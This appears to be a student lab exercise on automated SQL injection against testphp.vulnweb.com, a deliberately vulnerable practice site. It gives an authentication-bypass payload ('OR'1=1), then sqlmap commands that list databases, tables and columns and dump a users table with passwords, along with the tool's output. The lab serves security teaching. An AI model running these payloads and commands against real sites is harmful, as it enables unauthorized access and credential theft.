Perform the automated SQL injection attack for the given target.

Tools: SQLMap

SQL Injection using Kali Linux:

- Getting contents from the database or retrieving some sensitive information's by SQL language.
- SQL injection is the vulnerability in a web application.
- Series of SQL commands/queries used directly to manipulate database.
- Normally target banks or high firms in order to steal credentials.
- Types of attacks: Authentication bypass attack; Error based SQLi; Blind SQLi.
- Authentication bypass attack: attacker used to bypass user authentication without providing valid username and password.

1. http://testphp.vulnweb.com/login.php

   Username & Password:'OR'1=1

   http://testphp.vulnweb.com/userinfo.php

   Click on "Browse artists"(http://testphp.vulnweb.com/artists.php)

   Click on one artist's link

2. Copy that link(http://testphp.vulnweb.com/artists.php?artist=1)
3. Inside Kali Linux Operating system, type the following sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 --dbs

```
[00:18:56] [INFO] fetching database names

available databases [2]:

[*] acuart

[*] information_schema
```

4. sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart --tables

```
Database: acuart

Table: users

[8 columns]

+---------+--------------+

| Column  | Type         |

+---------+--------------+

| address | mediumtext   |

| cart    | varchar(100) |

| cc      | varchar(100) |

| email   | varchar(100) |

| name    | varchar(100) |

| pass    | varchar(100) |

| phone   | varchar(100) |
| uname   | varchar(100) |
+---------+--------------+
```

5. sqlmap -u http://testphp.vulnweb.com/artists.php?artist=1 -D acuart -T users -C email,name,pass,phone,uname --dump

```
[00:20:30] [INFO] fetching entries of column(s) 'email,name,pass,phone,uname' for table 'users' in database 'acuart'

Database: acuart

Table: users

[1 entry]

+-----------------+------+------+---------+-------+
| email           | name | pass | phone   | uname |
+-----------------+------+------+---------+-------+
| email@email.com | Mike | test | 2323345 | test  |
+-----------------+------+------+---------+-------+
```

Summary of steps:

--dbs for listing Available databases.

--tables listing all tables

--columns listing columns

--dumps save all the column datas